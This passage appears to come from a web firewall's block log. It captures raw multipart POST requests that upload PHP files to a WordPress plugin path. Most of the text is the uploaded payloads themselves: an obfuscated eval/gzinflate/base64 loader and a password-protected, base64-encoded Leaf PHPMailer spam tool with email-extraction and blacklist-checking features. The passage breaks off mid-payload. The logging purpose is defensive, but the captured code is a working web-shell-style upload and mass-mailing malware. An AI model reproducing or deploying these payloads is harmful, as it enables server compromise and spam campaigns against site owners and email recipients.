SVGpUeTd0dTM1dkVHYncyNzlUamloYUVUaEU5bFhudEJYM2U4OTBiclh2NmFTdUlxSGc0eHBqNENhenkyRXc2RkcxWUdmYndOb2VxdzRGcXhLWUdSMHQwY0gxS3BROGIwQzhqZ2dWOGx2a0hOampsY01QL3U5cDI3TWI4d24vcCtLNGdjeWdIMFEvdDVGbmE0bVlHYVh5dlZORnV1UTZSbEhKUXRRcFJlUkxTL0tBRVNVSGlZb21GdndGZElFbEdIbjdCN2J6U0duRFRuLzZUNk9CL0xaeHl2S2NGL00rQTlqN2hmKzdHbmhyYitPOWtESVQyZmFoVXJ5dm9VSEVOUVRScUg1QUpVMDVKWjNSWXdkdjdGYU1NME1IdFdtaGlyUjRjNHlwd0VWd1JjcmY0L0NnOGZQQno0enh1NEVpRGl2aWlhay9vMlE0SUxUbFBFV0xldWhINnoyQUtDQXZlVVM1Yy8ySEhlSUI5OTdKQWx2ZGxLTDBOSEJKODdUdThWLzlYNmhPMnphY3E4THgvSmhJNEd3M044TFVTZEVRVG9ZZzEydXl0dFJPWmNpV0pvQk5QdVpZQ1VBZU41N2NuS0tBVTB5Y2FJMnNEVWN5RmE4S1BiWE1pLzVzL2ZCSk0weitvcWJHVzlwSnV6Nis3dm4zZ2hmSzMydi8yeFFrU3VpczNDUEpOd0dSWGdvcmdweUtDakFvWmsrU1ptWDhXYSsvZjR4WUNMRXZqd1p3bEhKallaeGo5Nm51RUYra0xZdVVRRTdsUHJnZUl3ZE5hZ1Q4SGtZRi9xeUw1b3dNUDNISTkzV0dLbTloQzNJNUVMNXBmdnpOazVSUER0VFNCR2hKZWI5dzBXWDlwdXd0Vlc2QWJLVFYrcEFJRjY5MGk3ck9vZGFXeDh6bnhYc3FjdmZsZHNTL2VRVWYrb05vSnBuOWM1eHpBM0RBUXoycjR6TlNjaEw4bi9VWm9hN00wN0JRYytJRFZsOWxsOGNpbDQrYnVzU1lHSjVnbUVyOGJUR2pMR1BSOWNmSE04YVhPWTh3LzUzV05GYVlCdkgvaGZnN1l0NW5RMnhvOWN5S3RENHhsQkJmeVM5RlJNSlladU94WUUwS3JZYkQ3Q01paWRnTDdxa3pyR0lONmN1OWt6OGdUSCtMSjU5N0RXTlhUTlBGamVjZUNDRHF3QzAyelA4Q0czKzlUZTRlelhWMzNQcUN4YTRBaWNScHhNS05wZUJTYnhYMCs0SXpzWGtmSTFxMy9mL3liTUdnZGpUUDRBK3FmWUZFNUVQTmFjQjRPcWVjRkE1KzVkTHlGTmpzd1ZsLy9OcWNQODZ5UWhranJkeFAzYWxrcFRtSFl4RXJwb1JpcFltWnNINm50OWgza0t5VkRGWGtYaDBMOUZsRUQyTytqUm5nZjVKQWFLNTJJczc4Y3hFaXVyclkrV25FR1BMWFROdEpPWU0xZmlybldzUGlDMWdvWnVib0lEM1ByOGVTdmdLWUhaNnUwV1hZb0tKandRYldDeFdBNnVac0NsWWdQRE5zQlRxNWR2SE1GZm9ZTGI5eG52YmpoMVBmbWJ2MGozWnp0VDNoekZSNmdqbU5seFMzRE9IRU1STVRLUUh5WEl6eElXMU5GUnBaaWs0RW05bFpwcVl1MFJKZHlVVThIT2R2SHY1dlZCT3I4WUhGL0JiNURWbE1sRnRGS0hNWjZMbUcwbC9JS3h1L2lFWkpwMDlkSFR4LzlucXpRcHRPTTd2enNkeVZnd095VG5SRzVGLzUxRVI5ckgweVJOWXdJdmNMV291RDNPM0IrSkJBdGEyTTJOWVArZGFseXJ6T2xvYURMd3NpNXpySUhzazYwcFYxOEw1MndGMTFPWERrYmNYQWV6QlNqa29FWkpEcDE4YitOa3QxdXVIeHU2Q2dDMG5mbDhzZDIvOEtGUnlUZEJ0NmZXZ1lMNUJYNzZxeFI0LzkxeW1qQlRaRHo4T2tKSCtsd3pucytJYXdiVEFGQ1cxV2l0RUU4SlR6SkMxUkZsTzcwdGlmRWVCRXU0M3pzb1p3NlpYY3JBMU1HeHZnRjdNQmNYdjF2TVgzSWE1V2NMMjdyeEZkS09iMWNQM1JBMzRIUXpGK3B3Y3UwQjUvOXQ5RmR6WFZNeG53NGt5UzVZL0tHVHdoL05XMW01bUpodDlSa1Z2eFh3M0RKSTNFWnA3eUoxVXo4dTdpblhmaXNQTGc4MnI0ZThvVS9Xck9aUjRlcGZ4U1dkZWlHVEFaK01MSWRFc3o3RE1WZVduSkdza3YzSUZhTzN5TVd0WmRpWUw3Y0tjVWZXTVRkdnc0akU3dFB2aUVTY1FjOUJPOFdUZityUGQxRnJiVERRL3hqLzRBOVRmdDRJUmd0eU4zMC84WEFpbzJQMTlEckZZWTN2Y2x1Rm5ndjA3dDNGbm4xMzhxenh2Rk8vWGYrT2lRUU0zWU1hU0gvNHlmWDUyVy9BQ1Bsci84enNodmZ0dlFqMHY3YnV0ZHlQV2liNktsRzROZi9JblU0TVBPc2ZVUm4wWXI2VnBiL3B2UmtxbWYyRklZNzB1eEVtcGZZOHQvYXJsZFdmRWdqTDM2SUJHenNRS2U5UFJUc09ieG1yb2QrcnVvamFhYUpFekMybjl1aGMvcksyTXYzKzc2VkhaY2VaTzN2TkV1akc0YWtSTGRhNEo3S0laS2ViLzdUVk1ZVDNsM1Q5Y2tBOHc5NStjLzJIMzRkKzVJTUp6L3hYejBBdndLTkh1TlR2VDVoQnNUZi85YmJKVFRwWUZ4SE92NjNyL08wci9weHl6Mlo0SGZUTjQwTlRXWWVyMkNGN01LejJEZmZLZGVkRDNkMS8rekVWbFhXdXluUGJvZUk3OUgzdi9oTzI5ZFBicFA0N0pFUFJ5cUg0KzhiS1NMbTNyVnI0bitseUlsaysra1hTbHhpc3ljMnlldnpYRU9lcnN6K1JENFcwN2p0djB0RVMvNlQ2cXA1ditiSGJrbjlkTkFPK3ZwR2VrcnVDN3piVkU3a0VaenhlNENYLysrbmhTMjRsL2FXZU1PR2h3dGxkTjdHekdzNEgrNXlPSjMrZEhVc25qazVNTHZlMlQ2NGtyRytvV0YrR2ZvOXd2L3lUWmRZdmd6bEhpeldWUjJaaU5rN3h2OUIrMGhOVTlBc2YvNGFLVVpiclZkOEtwV1Z5aGZMT2JLVjRqYlJjeTBFaExiZTNZSTJ1UUUySmJjTmY0ZXB5VlN4cDQvOHV6b0pJT3haSjFHL3pQU0ZPbUdMQ1RnUUtXWlF3THhhUWE3dE9rRlpJa0dSOGVKZnY0VjhMbjRTbVIvN0xLT08wb2l3T2tubmVvMzcvY2k5Z0ZBajQ2cEZRditqRXgyWkxFeTFBRk5qY3lkaUkwSHpCSWYrcEIzWE1JU2hBSEQrdnduelBSUUVtRk9JM3U5dVRsSG9odW52RlZUaEduSlIzNzluLy84TjI3UXZkZDM2LzM2L3ZzZzhwdjU1Zit1NE1GLzhMY0pqc2pIMndETjV4OWR3LytTODA1YURWTTB3MS9OdlRScHAxY2VSYVFkTDBrdTNrWE9GRUpjOXZQaDFPUDd1bWlRcmJxNzZCRzd1Z0taYXFYTmZuSHlvbDc5aVcrU3V1T3A4WTZONjltM1g5dW52OC92MnZ2NVZuYy9mLy9kdDMvc0hVQi8vVy8veDlFVDYvS2NDOXovbC8wLzVmV1RGRWFsNTQvM3ovL3lPR2padnNpWHgvdnovL2wrLy84Ly85L3Z4L3Y2Ly8wVlZ6L0gvdjdIY3dCRGNJY0dhMjk3NXRxUFVuWmliU1lyNG83VFFZTGFaOWgvbHdxcm9GMFQyb0pGaldlR2JOMDNueHAyVWlESnppc0gxTFRjaTNmd0Q0REE4SDhBK0FBIjsKZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkc3R0MSkpKSk7Cg==\"));\r\n--e54f8ab253c532142cabb9e51e6c7736\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--e54f8ab253c532142cabb9e51e6c7736\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--e54f8ab253c532142cabb9e51e6c7736\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--e54f8ab253c532142cabb9e51e6c7736--\r\n"]
["2026-05-26 21:49:54","170.205.30.68","POST","\/wp-content\/plugins\/ngarw\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/ngarw\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=12729f5eb45a645156a65929bedc6abc\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:222320\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--12729f5eb45a645156a65929bedc6abc\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--12729f5eb45a645156a65929bedc6abc\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--12729f5eb45a645156a65929bedc6abc\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"olwfk.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\n$password = \"xleeeeet\"; \/\/ MaILER Password \n\n\neval (base64_decode(\"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgpzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgoKZnVuY3Rpb24gbGVhZkNsZWFyKCR0ZXh0LCRlbWFpbCl7CgkkZSA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOwoJJGVtYWlsdXNlcj0kZVswXTsKCSRlbWFpbGRvbWFpbj0kZVsxXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstdGltZS1dIiwgZGF0ZSgibS9kL1kgaDppOnMgYSIsIHRpbWUoKSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbHVzZXItXSIsICRlbWFpbHVzZXIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWxkb21haW4tXSIsICRlbWFpbGRvbWFpbiwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXN0cmluZy1dIiwgcmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbnVtYmVyLV0iLCByYW5kU3RyaW5nKCcwMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JykpLCAkdGV4dCk7CiAgICByZXR1cm4gJHRleHQ7ICAKfQpmdW5jdGlvbiBsZWFmVHJpbSgkc3RyaW5nKXsKCSRzdHJpbmc9dXJsZGVjb2RlKCRzdHJpbmcpOwogICAgcmV0dXJuIHN0cmlwc2xhc2hlcyh0cmltKCRzdHJpbmcpKTsKfQpmdW5jdGlvbiByYW5kU3RyaW5nKCRjb25zb25hbnRzKSB7CiAgICAkbGVuZ3RoPXJhbmQoMTIsMjUpOwogICAgJHBhc3N3b3JkID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7CiAgICBpZiAoZmlsdGVyX3ZhcigkZW1haWwsIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpIHJldHVybiB0cnVlOwogICAgZWxzZSByZXR1cm4gZmFsc2U7Cn0KIyBCdWxpdC1pbiBCbGFja0xpc3QgQ2hlY2tlciAKaWYoaXNzZXQoJF9HRVRbJ2NoZWNrX2lwJ10pKXsKICAgIGlmIChpc3NldCgkX0dFVFsnaG9zdCddKSl7CiAgICAgICAgJF9HRVRbJ2hvc3QnXT1leHBsb2RlKCIsIiwgJF9HRVRbJ2hvc3QnXSk7CiAgICAgICAgZm9yZWFjaCAoJF9HRVRbJ2hvc3QnXSBhcyAkaG9zdCkgewogICAgICAgICAgICBpZiAoY2hlY2tkbnNycigkX0dFVFsnY2hlY2tfaXAnXSAuICIuIiAuICAkaG9zdCAuICIuIiwgIkEiKSkgJGNoZWNrPSAiPGZvbnQgY29sb3I9J3JlZCc+IExpc3RlZDwvZm9udD4iOwogICAgICAgICAgICBlbHNlICRjaGVjaz0gIjxmb250IGNvbG9yPSdncmVlbic+IENsZWFuPC9mb250PiI7CiAgICAgICAgICAgIHByaW50ICdkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiJy4gJGhvc3QuJyIpLmlubmVySFRNTCA9ICInLiRjaGVjay4nIjsnOwogICAgICAgIH0KCiAgICAgICAgZXhpdDsKICAgIH0KICAgICRkbnNibF9sb29rdXAgPSBbCiAgICAgICAgImFsbC5zNWgubmV0IiwKICAgICAgICAiYi5iYXJyYWN1ZGFjZW50cmFsLm9yZyIsCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwKICAgICAgICAiYmxhY2tsaXN0Lndvb2R5LmNoIiwKICAgICAgICAiYm9nb25zLmN5bXJ1LmNvbSIsCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsCiAgICAgICAgImNkbC5hbnRpLXNwYW0ub3JnLmNuIiwKICAgICAgICAiY29tYmluZWQuYWJ1c2UuY2giLAogICAgICAgICJkYi53cGJsLmluZm8iLAogICAgICAgICJkbnNibC0xLnVjZXByb3RlY3QubmV0IiwKICAgICAgICAiZG5zYmwtMi51Y2Vwcm90ZWN0Lm5ldCIsCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLAogICAgICAgICJkbnNibC5hbnRpY2FwdGNoYS5uZXQiLAogICAgICAgICJkbnNibC5kcm9uZWJsLm9yZyIsCiAgICAgICAgImRuc2JsLmlucHMuZGUiLAogICAgICAgICJkbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJkcm9uZS5hYnVzZS5jaCIsCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLAogICAgICAgICJkdWwuZG5zYmwuc29yYnMubmV0IiwKICAgICAgICAiZHluYS5zcGFtcmF0cy5jb20iLAogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwKICAgICAgICAiaHR0cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJpcHMuYmFja3NjYXR0ZXJlci5vcmciLAogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwKICAgICAgICAia29yZWEuc2VydmljZXMubmV0IiwKICAgICAgICAibWlzYy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLAogICAgICAgICJvcnZlZGIuYXVwYWRzLm9yZyIsCiAgICAgICAgInBibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsCiAgICAgICAgInBzYmwuc3VycmllbC5jb20iLAogICAgICAgICJyZWxheXMuYmwuZ3dlZXAuY2EiLAogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsCiAgICAgICAgInNibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJzaG9ydC5yYmwuanAiLAogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwKICAgICAgICAic210cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzb2Nrcy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzcGFtLmFidXNlLmNoIiwKICAgICAgICAic3BhbS5kbnNibC5hbm9ubWFpbHMuZGUiLAogICAgICAgICJzcGFtLmRuc2JsLnNvcmJzLm5ldCIsCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwKICAgICAgICAic3BhbWJvdC5ibHMuZGlnaWJhc2UuY2EiLAogICAgICAgICJzcGFtcmJsLmltcC5jaCIsCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwKICAgICAgICAidWJsLmxhc2hiYWNrLmNvbSIsCiAgICAgICAgInVibC51bnN1YnNjb3JlLmNvbSIsCiAgICAgICAgInZpcnVzLnJibC5qcCIsCiAgICAgICAgIndlYi5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJ3b3JtcmJsLmltcC5jaCIsCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJ6Lm1haWxzcGlrZS5uZXQiLAogICAgICAgICJ6ZW4uc3BhbWhhdXMub3JnIiwKICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsCiAgICBdOwogICAgJHJldmVyc2VfaXAgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJF9HRVRbJ2NoZWNrX2lwJ10pKSk7CiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOwogICAgbGVhZmhlYWRlcigpOwogICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkJsYWNrbGlzdCBDaGVja2VyPC9zbWFsbD48L2gzPic7CiAgICBQcmludCAiQ2hlY2tpbmcgPGI+Ii4kX0dFVFsnY2hlY2tfaXAnXS4iPC9iPiBpbiA8Yj4kZG5zVDwvYj4gIGFudGktc3BhbSBkYXRhYmFzZXM6PGJyPiI7CiAgICAkZG5zTj0iIjsKICAgIHByaW50ICc8dGFibGUgPic7CiAgICBmb3IgKCRpPTA7ICRpIDwgJGRuc1Q7ICRpPSRpKzEwKSB7IAogICAgICAgICRob3N0PSIiOwogICAgICAgICRob3N0cz0iIjsKICAgICAgICBmb3IoJGo9JGk7ICRqPCRpKzEwOyRqKyspewogICAgICAgICAgICAkaG9zdD0kZG5zYmxfbG9va3VwWyRqXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRob3N0KSl7CiAgICAgICAgICAgICAgICBwcmludCAiPHRyPiA8dGQ+JGhvc3Q8L3RkPiA8dGQgaWQ9JyRob3N0Jz5DaGVja2luZyAuLjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgJGhvc3RzIC49IiRob3N0LCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRuc04uPSI8c2NyaXB0IHNyYz0nP2NoZWNrX2lwPSRyZXZlcnNlX2lwJmhvc3Q9Ii4kaG9zdHMuIicgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz48L3NjcmlwdD4iOwogICAgfQoKICAgIHByaW50ICc8L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludCAkZG5zTjsKICAgIGV4aXQ7Cn0KaWYoaXNzZXQoJF9HRVRbJ2VtYWlsZmlsdGVyJ10pKXsKCiAgICBpZighZW1wdHkoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkX1BPU1RbJ2VtYWlsTGlzdCddPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSk7IAogICAgfQogICAgJF9QT1NUWydlbWFpbExpc3QnXT1zdHJ0b2xvd2VyKCRfUE9TVFsnZW1haWxMaXN0J10pOwogICBpZigkX0dFVFsnZW1haWxmaWx0ZXInXT09ImlmcmFtIil7CiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpewogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1lKCkuIi50eHQiKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydzdWJtaXQnXT09ImV4dHJhY3QiKXsKICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsKICAgICAgICBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJF9QT1NUWydlbWFpbExpc3QnXSwgJG1hdGNoZXMpOwogICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzWzBdIGFzICRlbWFpbCkgewogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsKICAgICAgICB9CiAgICB9CiAgICBlbHNlaWYgKCRfUE9TVFsnc3VibWl0J109PSJmaWx0ZXIiKSB7CiAgICAgICAgJGVtYWlscz1leHBsb2RlKCJcbiIsICRfUE9TVFsnZW1haWxMaXN0J10pOwogICAgICAgICRrZXl3b3Jkcz1leHBsb2RlKCJcbiIsIHN0cnRvbG93ZXIoJF9QT1NUWydrZXl3b3JkcyddKSk7CiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGtleXdvcmRzIGFzICRrZXl3b3JkICkgewogICAgICAgICAgICAgICAgaWYoc3Ryc3RyKCRlbWFpbCwgJGtleXdvcmQpICl7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJGVtYWlsLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBleGl0OwogICB9CiAgIGxlYWZoZWFkZXIoKTsKICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNCI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkVtYWlsIEZpbHRlcjwvc21hbGw+PC9oMz4nOwogICBwcmludCAnCiAgICA8Zm9ybSBhY3Rpb249Ij9lbWFpbGZpbHRlcj1pZnJhbSIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Im15LWlmcmFtZSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgb25zdWJtaXQ9XCdcJz4KICAgICAgICA8bGFiZWwgZm9yPSJlbWFpbExpc3QiPlRleHQgPC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVRvVXBsb2FkIiBpZD0iZmlsZVRvVXBsb2FkIj4gCiAgICAgICAgb3IKCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImVtYWlsTGlzdCIgaWQ9ImVtYWlsTGlzdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgaWQ9InRleHRBcmVhIj48L3RleHRhcmVhPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPgogICAgICAgIDxkaXYgY2xhc3M9InJhZGlvIj4KICAgICAgICAgIDxsYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXN1bHR0eXBlIiBpZD0icmVzdWx0dHlwZSIgdmFsdWU9ImhlcmUiIGNoZWNrZWQ9IiI+CiAgICAgICAgICAgIFNob3cgUmVzdWx0IGluIHRoaXMgcGFnZQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyYWRpbyI+CiAgICAgICAgICA8bGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmVzdWx0dHlwZSIgaWQ9InJlc3VsdHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+CiAgICAgICAgICAgIERvd25sb2FkIFJlc3VsdCAoZm9yIGJpZyBudW1iZXJzKQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsZWdlbmQ+PGg0PkV4dHJhY3QgRW1haWw8L2g0PjwvbGVnZW5kPgogICAgICAgICAgICBEZXRlY3RpbmcgZXZlcnkgZW1haWwgKDEwMCUpIGFuZCBvcmRlciB0aGVtIGxpbmUgYnkgbGluZSA8YnI+PGJyPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJleHRyYWN0IiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSI+U3RhcnQ8L2J1dHRvbj4KICAgICAgICAgICAgPGxlZ2VuZD48aDQ+RmlsdGVyIEVtYWlsczwvaDQ+PC9sZWdlbmQ+CiAgICAgICAgPGxhYmVsID5LZXl3b3JkcyA8c21hbGw+IGV4OiBnbWFpbC5jb20gb3IgLmNvLnVrPC9zbWFsbD4gPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ia2V5d29yZHMiIGlkPSJrZXl3b3JkcyIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNCIgaWQ9InRleHRBcmVhIj5nbWFpbC5jb20KaG90bWFpbC5jb20KeWFob28uY29tCi5jby51azwvdGV4dGFyZWE+PGJyPgoKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9ImZpbHRlciIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iPlN0YXJ0PC9idXR0b24+CiAgICA8L2Zvcm0+CiAgICA8bGFiZWwgPlJlc3VsdCA8L2xhYmVsPgogICAgPGlmcmFtZSBzdHlsZT0iYm9yZGVyOm5vbmU7d2lkdGg6MTAwJTsiIG5hbWU9Im15LWlmcmFtZSIgIHNyYz0iP2VtYWlsZmlsdGVyPWlmcmFtIiA+PC9pZnJhbWU+CiAgICc7CiAgIGV4aXQ7Cgp9CiRodG1sPSJjaGVja2VkIjsKJHV0Zjg9InNlbGVjdGVkIjsKJGJpdDg9InNlbGVjdGVkIjsKCmlmKCRfUE9TVFsnYWN0aW9uJ109PSJzZW5kIiBvciAkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKCiAgICAkc2VuZGVyRW1haWw9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJFbWFpbCddKTsKICAgICRzZW5kZXJOYW1lPWxlYWZUcmltKCRfUE9TVFsnc2VuZGVyTmFtZSddKTsKICAgICRyZXBseVRvPWxlYWZUcmltKCRfUE9TVFsncmVwbHlUbyddKTsKICAgICRzdWJq